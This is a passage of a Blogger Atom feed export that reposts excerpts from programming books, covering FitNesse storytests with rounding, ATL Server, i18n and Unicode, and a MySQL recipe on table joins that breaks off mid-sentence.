Model'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-67560845477758865</id><published>2009-11-13T07:49:00.051-08:00</published><updated>2009-11-13T07:49:59.047-08:00</updated><title type='text'>Section 17.5.&amp;nbsp; Adding to the Storytests</title><content type='html'>&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;td align="right"&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;br&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;TR&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;h3 class="docSection1Title"&gt;17.5. Adding to the Storytests&lt;/H3&gt;&lt;br /&gt;&lt;p class="docText"&gt;Mitra and Don got together to write some further tests for the template stories. They quickly wrote the test shown in Figure 17.8, which allows for more than one item per guest.&lt;/P&gt;&lt;br /&gt;&lt;P&gt;&lt;table cellspacing="0" class="allBorders" border="1" RULES="all" cellpadding="4"&gt;&lt;caption&gt;&lt;H5 class="docTableTitle"&gt;Figure 17.8. Template with Less than One Item&lt;/H5&gt;&lt;/caption&gt;&lt;colgroup&gt;&lt;col width="120"&gt;&lt;col width="120"&gt;&lt;col width="75"&gt;&lt;col width="75"&gt;&lt;col width="50"&gt;&lt;/colgroup&gt;&lt;thead&gt;&lt;/thead&gt;&lt;tr&gt;&lt;td class="docTableCell" align="left" valign="top"&gt;&lt;p class="docText"&gt;&lt;span class="docEmphasis"&gt;create template&lt;/span&gt;&lt;/P&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left" valign="top" colspan="4"&gt;&lt;p class="docText"&gt;coffee break&lt;/P&gt;&lt;/td&gt;&lt;/TR&gt;&lt;TR&gt;&lt;td class="docTableCell" align="left" valign="top"&gt;&lt;p class="docText"&gt;&lt;span class="docEmphasis"&gt;one&lt;/span&gt;&lt;/P&gt;&lt;/TD&gt;&lt;td class="docTableCell" align="left" valign="top"&gt;&lt;p class="docText"&gt;coffee dispenser&lt;/p&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left" valign="top"&gt;&lt;p class="docText"&gt;&lt;span class="docEmphasis"&gt;for&lt;/span&gt;&lt;/P&gt;&lt;/td&gt;&lt;TD class="docTableCell" align="left" valign="top"&gt;&lt;p class="docText"&gt;20&lt;/p&gt;&lt;/td&gt;&lt;TD class="docTableCell" align="left" valign="top"&gt;&lt;p class="docText"&gt;&lt;span class="docEmphasis"&gt;people&lt;/span&gt;&lt;br /&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="docTableCell" align="left" valign="top"&gt;&lt;p class="docText"&gt;&lt;span class="docEmphasis"&gt;one&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left" valign="top"&gt;&lt;p class="docText"&gt;hot water dispenser&lt;/p&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left" valign="top"&gt;&lt;p class="docText"&gt;&lt;span class="docEmphasis"&gt;for&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left" valign="top"&gt;&lt;p class="docText"&gt;20&lt;/p&gt;&lt;/td&gt;&lt;TD class="docTableCell" align="left" valign="top"&gt;&lt;p class="docText"&gt;&lt;span class="docEmphasis"&gt;people&lt;/span&gt;&lt;br /&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/tr&gt;&lt;tr&gt;&lt;TD class="docTableCell" align="left" valign="top"&gt;&lt;p class="docText"&gt;&lt;span class="docEmphasis"&gt;one&lt;/span&gt;&lt;/P&gt;&lt;/TD&gt;&lt;TD class="docTableCell" align="left" valign="top"&gt;&lt;p class="docText"&gt;coffee table&lt;/P&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left" valign="top"&gt;&lt;p class="docText"&gt;&lt;span class="docEmphasis"&gt;for&lt;/span&gt;&lt;/P&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left" valign="top"&gt;&lt;p class="docText"&gt;40&lt;/P&gt;&lt;/td&gt;&lt;TD class="docTableCell" align="left" valign="top"&gt;&lt;p class="docText"&gt;&lt;span class="docEmphasis"&gt;people&lt;/span&gt;&lt;br /&gt;&lt;/P&gt;&lt;/td&gt;&lt;/TR&gt;&lt;TR&gt;&lt;td class="docTableCell" align="left" valign="top"&gt;&lt;p class="docText"&gt;&lt;span class="docEmphasis"&gt;one&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;td class="docTableCell" align="left" valign="top"&gt;&lt;p class="docText"&gt;cup&lt;/P&gt;&lt;/td&gt;&lt;TD class="docTableCell" align="left" valign="top"&gt;&lt;p class="docText"&gt;&lt;span class="docEmphasis"&gt;for&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;TD class="docTableCell" align="left" valign="top"&gt;&lt;p class="docText"&gt;0.9&lt;/P&gt;&lt;/TD&gt;&lt;td class="docTableCell" align="left" valign="top"&gt;&lt;p class="docText"&gt;&lt;span class="docEmphasis"&gt;people&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/p&gt;&lt;br&gt;&lt;br /&gt;&lt;p class="docText"&gt;They then used that template, &amp;quot;coffee break,&amp;quot; to test that the number of rental items was rounded up. Don calculated out loud: &amp;quot;With 21 guests, there will be 21 divided by 20, which is 1.05. We round that up to 2. With cups, there will be 21 divided by 0.9, which is 23.33. That rounds up to 24.&amp;quot; This resulted in the test shown in Figure 17.9.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;/p&gt;&lt;center&gt;&lt;br /&gt;&lt;h5 class="docFigureTitle"&gt;Figure 17.9. Template with Rounding&lt;/h5&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="docText"&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/center&gt;&lt;/p&gt;&lt;br&gt;&lt;br /&gt;&lt;p class="docText"&gt;As these tests were completed, they were passed on to the programmers, who used them in the implementation of the new stories in &lt;span class="docEmphasis"&gt;RentEz&lt;/span&gt;. Further storytests were developed over the next 3 weeks and these included some &lt;tt&gt;ColumnFixture&lt;/tt&gt; tables for testing rounding with a variety of examples.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;UL&gt;&lt;/UL&gt;&lt;/TD&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;td align="right"&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-67560845477758865?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/67560845477758865/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/section-175-adding-to-storytests.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/67560845477758865'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/67560845477758865'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/section-175-adding-to-storytests.html' title='Section 17.5.&amp;amp;nbsp; Adding to the Storytests'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-3339430005651558760</id><published>2009-11-13T07:49:00.049-08:00</published><updated>2009-11-13T07:49:56.967-08:00</updated><title type='text'>Hour 14. ATL Servers</title><content type='html'>&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td valign="top" class="v2" align="right"&gt;&lt;br /&gt;&lt;br /&gt;          &amp;nbsp;&lt;br /&gt;          &lt;br /&gt;          &amp;nbsp;    &lt;br /&gt;          &lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;hr size="1"&gt;&lt;br /&gt;&lt;H2 class="docChapterTitle"&gt;Hour 14. ATL Servers&lt;/H2&gt;&lt;br /&gt;&lt;P class="docText"&gt;The Active Template Library (ATL) Server is a new technology within Visual C++ .NET not present in previous versions of Visual Studio. ATL Server is a server-based technology that runs on the Internet Information Services (IIS) Web server platform. It plays a dual role within the .NET Framework, having the ability to create Web Services, as you saw in Hour 11, "Creating Web Services," as well as Web applications, the topic of this hour.&lt;/P&gt;&lt;br /&gt;&lt;P class="docText"&gt;ATL Server uses a tag-replacement methodology similar to the way ASP.NET functions. In other words, a certain tag (otherwise known as a &lt;span class="docEmphasis"&gt;replacement tag,&lt;/span&gt; consisting of a string of characters enclosed within two curly braces on each end) is encountered by the Web server (IIS), and rather than that tag being passed directly to the rendering stream, it is handed off to an extension DLL. This extension DLL then replaces the tag with its own content, which is then passed down to be rendered on the client Web browser.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;In this hour you will learn:&lt;/P&gt;&lt;br /&gt;&lt;UL&gt;&lt;br /&gt;&lt;LI&gt;&lt;P class="docList"&gt;How to create an ATL Server project and what options are available for your project&lt;/P&gt;&lt;/LI&gt;&lt;br /&gt;&lt;LI&gt;&lt;P class="docList"&gt;What a server response file (SRF) is and the syntax necessary to interact with your extension DLL&lt;/P&gt;&lt;/LI&gt;&lt;br /&gt;&lt;LI&gt;&lt;P class="docList"&gt;How to specify new replacement tags within your extension DLL and how to render to the response stream&lt;/P&gt;&lt;/LI&gt;&lt;br /&gt;&lt;/UL&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;hr size="1"&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td valign="top" class="v2" align="right"&gt;&lt;br /&gt;&lt;br /&gt;          &amp;nbsp;&lt;br /&gt;          &lt;br /&gt;          &amp;nbsp;    &lt;br /&gt;          &lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td valign="top" align="right"&gt;Top&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-3339430005651558760?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/3339430005651558760/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/hour-14-atl-servers.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/3339430005651558760'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/3339430005651558760'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/hour-14-atl-servers.html' title='Hour 14. ATL Servers'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-6788495430052370689</id><published>2009-11-13T07:49:00.047-08:00</published><updated>2009-11-13T07:49:54.969-08:00</updated><title type='text'>Chapter 4.  i18n, L10n, and Unicode</title><content type='html'>&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;td align="right"&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;br&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;TR&gt;&lt;TD valign="top"&gt;&lt;br /&gt;&lt;h2 id="title-IDAKBRTQ" class="docChapterTitle"&gt;Chapter 4. i18n, L10n, and Unicode&lt;/h2&gt;&lt;br /&gt;&lt;p class="docText"&gt;Internationalization, localization, and Unicode are all hot topics in the field of modern web application development. If you build and launch an application without support for multiple languages, you're going to be missing out on a huge portion of your possible user base. Current research suggests that there are about 510 million English-speaking people in the world. If your application only caters to English speakers, you've immediately blocked 92 percent of your potential global audience. These numbers are actually wildly inaccurate and generally used as a scare tactic; you have to consider how many of the world's six billion or so population is online to begin with. But even once we factor this in, we are still left with 64 percent of online users (around 680 million people) who don't speak English (these statistics come from the global reach web site: http://global-reach.biz/). That's still a huge number of potential users you're blocking from using your application.&lt;/P&gt;&lt;br /&gt;&lt;p class="docText"&gt;Addressing this problem has historically been a huge deal. Developers would need advanced knowledge of character sets and text processing, language-dependent data would need to be stored separately, and data from one group of users could not be shared with another. But in a world where the Internet is becoming more globally ubiquitous, these problems needed solving. The solutions that were finally reached cut out a lot of the hard work for developersit's now almost trivially easy to create a multilanguage application, with only a few simple bits of knowledge.&lt;/P&gt;&lt;br /&gt;&lt;p class="docText"&gt;This chapter will get you quickly up to speed with the issues involved with internationalization and localization, and suggest simple ways to solve them. We'll then look at Unicode in detail, explaining what it is, how it works, and how you can implement full Unicode applications quickly and easily. We'll touch on the key areas of data manipulation in web applications where Unicode has a role to play, and identify the potential pitfalls associated with them.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/table&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;td align="right"&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-6788495430052370689?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/6788495430052370689/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/chapter-4-i18n-l10n-and-unicode.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/6788495430052370689'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/6788495430052370689'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/chapter-4-i18n-l10n-and-unicode.html' title='Chapter 4.  i18n, L10n, and Unicode'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-7627817021355736639</id><published>2009-11-13T07:49:00.045-08:00</published><updated>2009-11-13T07:49:52.498-08:00</updated><title type='text'>12.5 Finding Rows in One Table That Match Rows in Another</title><content type='html'>&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0" bgcolor="#CCCCCC"&gt;&lt;br /&gt;&lt;td&gt;&lt;font color="black" size=1&gt;I l&lt;font color="#FF0000"&gt;@&lt;/font&gt;ve RuBoard&lt;/td&gt;&lt;br /&gt;&lt;td valign="top" class="v2" align="right"&gt;&lt;br /&gt;	&lt;br /&gt;	&lt;br /&gt;&lt;/td&gt;&lt;/table&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;td valign="top"&gt;&lt;br /&gt;&lt;H3 class="docSection1Title"&gt;12.5 Finding Rows in One Table That Match Rows in Another&lt;/H3&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;H4 class="docSection2Title"&gt;12.5.1 Problem&lt;/H4&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;You want to use rows in one&lt;br /&gt;table to locate rows in another table.&lt;br /&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;H4 class="docSection2Title"&gt;12.5.2 Solution&lt;/H4&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;Use a join with an appropriate&lt;br /&gt;&lt;TT&gt;WHERE&lt;/TT&gt; clause to match up records from&lt;br /&gt;different tables.&lt;br /&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;H4 class="docSection2Title"&gt;12.5.3 Discussion&lt;/H4&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;The records in the &lt;TT&gt;shirt&lt;/TT&gt;, &lt;TT&gt;tie&lt;/TT&gt;,&lt;br /&gt;and &lt;TT&gt;pants&lt;/TT&gt; tables from Recipe 12.2&lt;br /&gt;have no special relationship to each other, so no combination of rows&lt;br /&gt;is more meaningful than any other. That's okay,&lt;br /&gt;because the purpose of the examples that use those tables is to&lt;br /&gt;illustrate how to perform a join, not why you'd do&lt;br /&gt;so.&lt;br /&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;The "why" is that joins allow you&lt;br /&gt;to combine information from multiple tables when each table contains&lt;br /&gt;only part of the information in which you're&lt;br /&gt;interested. Output rows from a join are more complete than rows from&lt;br /&gt;either table by itself. This kind of operation often is based on&lt;br /&gt;matching rows in one table to rows in another, which requires that&lt;br /&gt;each table have one or more columns of common information that can be&lt;br /&gt;used to link them together logically.&lt;br /&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;To illustrate, suppose you're starting an art&lt;br /&gt;collection, using the following two tables to record your&lt;br /&gt;acquisitions. &lt;TT&gt;artist&lt;/TT&gt; lists those painters whose&lt;br /&gt;works you want to collect, and &lt;TT&gt;painting&lt;/TT&gt; lists each&lt;br /&gt;painting that you've purchased:&lt;br /&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;PRE&gt;CREATE TABLE artist&lt;br /&gt;(&lt;br /&gt;    a_id    INT UNSIGNED NOT NULL AUTO_INCREMENT,   # artist ID&lt;br /&gt;    name    VARCHAR(30) NOT NULL,                   # artist name&lt;br /&gt;    PRIMARY KEY (a_id),&lt;br /&gt;    UNIQUE (name)&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;CREATE TABLE painting&lt;br /&gt;(&lt;br /&gt;    a_id    INT UNSIGNED NOT NULL,                  # artist ID&lt;br /&gt;    p_id    INT UNSIGNED NOT NULL AUTO_INCREMENT,   # painting ID&lt;br /&gt;    title   VARCHAR(100) NOT NULL,                  # title of painting&lt;br /&gt;    state   VARCHAR(2) NOT NULL,                    # state where purchased&lt;br /&gt;    price   INT UNSIGNED,                           # purchase price (dollars)&lt;br /&gt;    INDEX (a_id),&lt;br /&gt;    PRIMARY KEY (p_id)&lt;br /&gt;);&lt;/PRE&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;You've just begun the collection, so the tables&lt;br /&gt;contain only the following records:&lt;br /&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;PRE&gt;mysql&amp;gt; &lt;B&gt;SELECT * FROM artist ORDER BY a_id;&lt;/B&gt;&lt;br /&gt;+------+----------+&lt;br /&gt;| a_id | name     |&lt;br /&gt;+------+----------+&lt;br /&gt;|    1 | Da Vinci |&lt;br /&gt;|    2 | Monet    |&lt;br /&gt;|    3 | Van Gogh |&lt;br /&gt;|    4 | Picasso  |&lt;br /&gt;|    5 | Renoir   |&lt;br /&gt;+------+----------+&lt;br /&gt;mysql&amp;gt; &lt;B&gt;SELECT * FROM painting ORDER BY a_id, p_id;&lt;/B&gt;&lt;br /&gt;+------+------+-------------------+-------+-------+&lt;br /&gt;| a_id | p_id | title             | state | price |&lt;br /&gt;+------+------+-------------------+-------+-------+&lt;br /&gt;|    1 |    1 | The Last Supper   | IN    |    34 |&lt;br /&gt;|    1 |    2 | The Mona Lisa     | MI    |    87 |&lt;br /&gt;|    3 |    3 | Starry Night      | KY    |    48 |&lt;br /&gt;|    3 |    4 | The Potato Eaters | KY    |    67 |&lt;br /&gt;|    3 |    5 | The Rocks         | IA    |    33 |&lt;br /&gt;|    5 |    6 | Les Deux Soeurs   | NE    |    64 |&lt;br /&gt;+------+------+-------------------+-------+-------+&lt;/PRE&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;The low values in the &lt;TT&gt;price&lt;/TT&gt; column of the&lt;br /&gt;&lt;TT&gt;painting&lt;/TT&gt; table betray the fact that your&lt;br /&gt;collection actually contains only cheap facsimiles, not the&lt;br /&gt;originals. Well, that's all right�who can&lt;br /&gt;afford the originals?&lt;br /&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;Each table contains partial information about your collection. For&lt;br /&gt;example, the &lt;TT&gt;artist&lt;/TT&gt; table doesn't&lt;br /&gt;tell you which paintings each artist produced, and the&lt;br /&gt;&lt;TT&gt;painting&lt;/TT&gt; table lists artist IDs but not their&lt;br /&gt;names. To answer certain kinds of questions, you must combine the two&lt;br /&gt;tables, and do so in a way that matches up records properly. The&lt;br /&gt;"matching up" part is a matter of&lt;br /&gt;writing an appropriate &lt;TT&gt;WHERE&lt;/TT&gt; clause. In Recipe 12.2, I mentioned that performing a full join&lt;br /&gt;generally is a bad idea because of the amount of output produced.&lt;br /&gt;Another reason not to perform a full join is that the result may be&lt;br /&gt;meaningless. The following full join between the&lt;br /&gt;&lt;TT&gt;artist&lt;/TT&gt; and &lt;TT&gt;painting&lt;/TT&gt; tables&lt;br /&gt;makes this clear. It includes no &lt;TT&gt;WHERE&lt;/TT&gt; clause, and&lt;br /&gt;thus produces output that conveys no useful information:&lt;br /&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;PRE&gt;mysql&amp;gt; &lt;B&gt;SELECT * FROM artist, painting;&lt;/B&gt;&lt;br /&gt;+------+----------+------+------+-------------------+-------+-------+&lt;br /&gt;| a_id | name     | a_id | p_id | title             | state | price |&lt;br /&gt;+------+----------+------+------+-------------------+-------+-------+&lt;br /&gt;|    1 | Da Vinci |    1 |    1 | The Last Supper   | IN    |    34 |&lt;br /&gt;|    2 | Monet    |    1 |    1 | The Last Supper   | IN    |    34 |&lt;br /&gt;|    3 | Van Gogh |    1 |    1 | The Last Supper   | IN    |    34 |&lt;br /&gt;|    4 | Picasso  |    1 |    1 | The Last Supper   | IN    |    34 |&lt;br /&gt;|    5 | Renoir   |    1 |    1 | The Last Supper   | IN    |    34 |&lt;br /&gt;|    1 | Da Vinci |    1 |    2 | The Mona Lisa     | MI    |    87 |&lt;br /&gt;|    2 | Monet    |    1 |    2 | The Mona Lisa     | MI    |    87 |&lt;br /&gt;|    3 | Van Gogh |    1 |    2 | The Mona Lisa     | MI    |    87 |&lt;br /&gt;|    4 | Picasso  |    1 |    2 | The Mona Lisa     | MI    |    87 |&lt;br /&gt;|    5 | Renoir   |    1 |    2 | The Mona Lisa     | MI    |    87 |&lt;br /&gt;|    1 | Da Vinci |    3 |    3 | Starry Night      | KY    |    48 |&lt;br /&gt;|    2 | Monet    |    3 |    3 | Starry Night      | KY    |    48 |&lt;br /&gt;|    3 | Van Gogh |    3 |    3 | Starry Night      | KY    |    48 |&lt;br /&gt;|    4 | Picasso  |    3 |    3 | Starry Night      | KY    |    48 |&lt;br /&gt;|    5 | Renoir   |    3 |    3 | Starry Night      | KY    |    48 |&lt;br /&gt;|    1 | Da Vinci |    3 |    4 | The Potato Eaters | KY    |    67 |&lt;br /&gt;|    2 | Monet    |    3 |    4 | The Potato Eaters | KY    |    67 |&lt;br /&gt;|    3 | Van Gogh |    3 |    4 | The Potato Eaters | KY    |    67 |&lt;br /&gt;|    4 | Picasso  |    3 |    4 | The Potato Eaters | KY    |    67 |&lt;br /&gt;|    5 | Renoir   |    3 |    4 | The Potato Eaters | KY    |    67 |&lt;br /&gt;|    1 | Da Vinci |    3 |    5 | The Rocks         | IA    |    33 |&lt;br /&gt;|    2 | Monet    |    3 |    5 | The Rocks         | IA    |    33 |&lt;br /&gt;|    3 | Van Gogh |    3 |    5 | The Rocks         | IA    |    33 |&lt;br /&gt;|    4 | Picasso  |    3 |    5 | The Rocks         | IA    |    33 |&lt;br /&gt;|    5 | Renoir   |    3 |    5 | The Rocks         | IA    |    33 |&lt;br /&gt;|    1 | Da Vinci |    5 |    6 | Les Deux Soeurs   | NE    |    64 |&lt;br /&gt;|    2 | Monet    |    5 |    6 | Les Deux Soeurs   | NE    |    64 |&lt;br /&gt;|    3 | Van Gogh |    5 |    6 | Les Deux Soeurs   | NE    |    64 |&lt;br /&gt;|    4 | Picasso  |    5 |    6 | Les Deux Soeurs   | NE    |    64 |&lt;br /&gt;|    5 | Renoir   |    5 |    6 | Les Deux Soeurs   | NE    |    64 |&lt;br /&gt;+------+----------+------+------+-------------------+-------+-------+&lt;/PRE&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;Clearly, you're not maintaining these tables to&lt;br /&gt;match up each artist with each painting, which is what the preceding&lt;br /&gt;query does. An unrestricted join in this case produces nothing more&lt;br /&gt;than a lot of output with no value, so a &lt;TT&gt;WHERE&lt;/TT&gt;&lt;br /&gt;clause is essential to give the query meaning. For example, to&lt;br /&gt;produce a list of paintings together with the artist names, you can&lt;br /&gt;associate records from the two tables using a simple&lt;br /&gt;&lt;TT&gt;WHERE&lt;/TT&gt; clause that matches up values in the artist&lt;br /&gt;ID column that is common to both tables and that serves as the link&lt;br /&gt;between them:&lt;br /&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;PRE&gt;mysql&amp;gt; &lt;B&gt;SELECT * FROM artist, painting&lt;/B&gt;&lt;br /&gt;    -&amp;gt; &lt;B&gt;WHERE artist.a_id = painting.a_id;&lt;/B&gt;&lt;br /&gt;+------+----------+------+------+-------------------+-------+-------+&lt;br /&gt;| a_id | name     | a_id | p_id | title             | state | price |&lt;br /&gt;+------+----------+------+------+-------------------+-------+-------+&lt;br /&gt;|    1 | Da Vinci |    1 |    1 | The Last Supper   | IN    |    34 |&lt;br /&gt;|    1 | Da Vinci |    1 |    2 | The Mona Lisa     | MI    |    87 |&lt;br /&gt;|    3 | Van Gogh |    3 |    3 | Starry Night      | KY    |    48 |&lt;br /&gt;|    3 | Van Gogh |    3 |    4 | The Potato Eaters | KY    |    67 |&lt;br /&gt;|    3 | Van Gogh |    3 |    5 | The Rocks         | IA    |    33 |&lt;br /&gt;|    5 | Renoir   |    5 |    6 | Les Deux Soeurs   | NE    |    64 |&lt;br /&gt;+------+----------+------+------+-------------------+-------+-------+&lt;/PRE&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;The column names in the &lt;TT&gt;WHERE&lt;/TT&gt; clause include table&lt;br /&gt;qualifiers to make it clear which &lt;TT&gt;a_id&lt;/TT&gt; values to&lt;br /&gt;compare. The output indicates who painted each painting, and,&lt;br /&gt;conversely, which paintings by each artist are in your collection.&lt;br /&gt;However, the output is perhaps overly verbose. (It includes two&lt;br /&gt;identical &lt;TT&gt;a_id&lt;/TT&gt; columns, for example; one comes&lt;br /&gt;from the &lt;TT&gt;artist&lt;/TT&gt; table, the other from the&lt;br /&gt;&lt;TT&gt;painting&lt;/TT&gt; table.) You may want to see the&lt;br /&gt;&lt;TT&gt;a_id&lt;/TT&gt; values only once. Or you may not want to see&lt;br /&gt;any ID columns at all. To exclude them, provide a 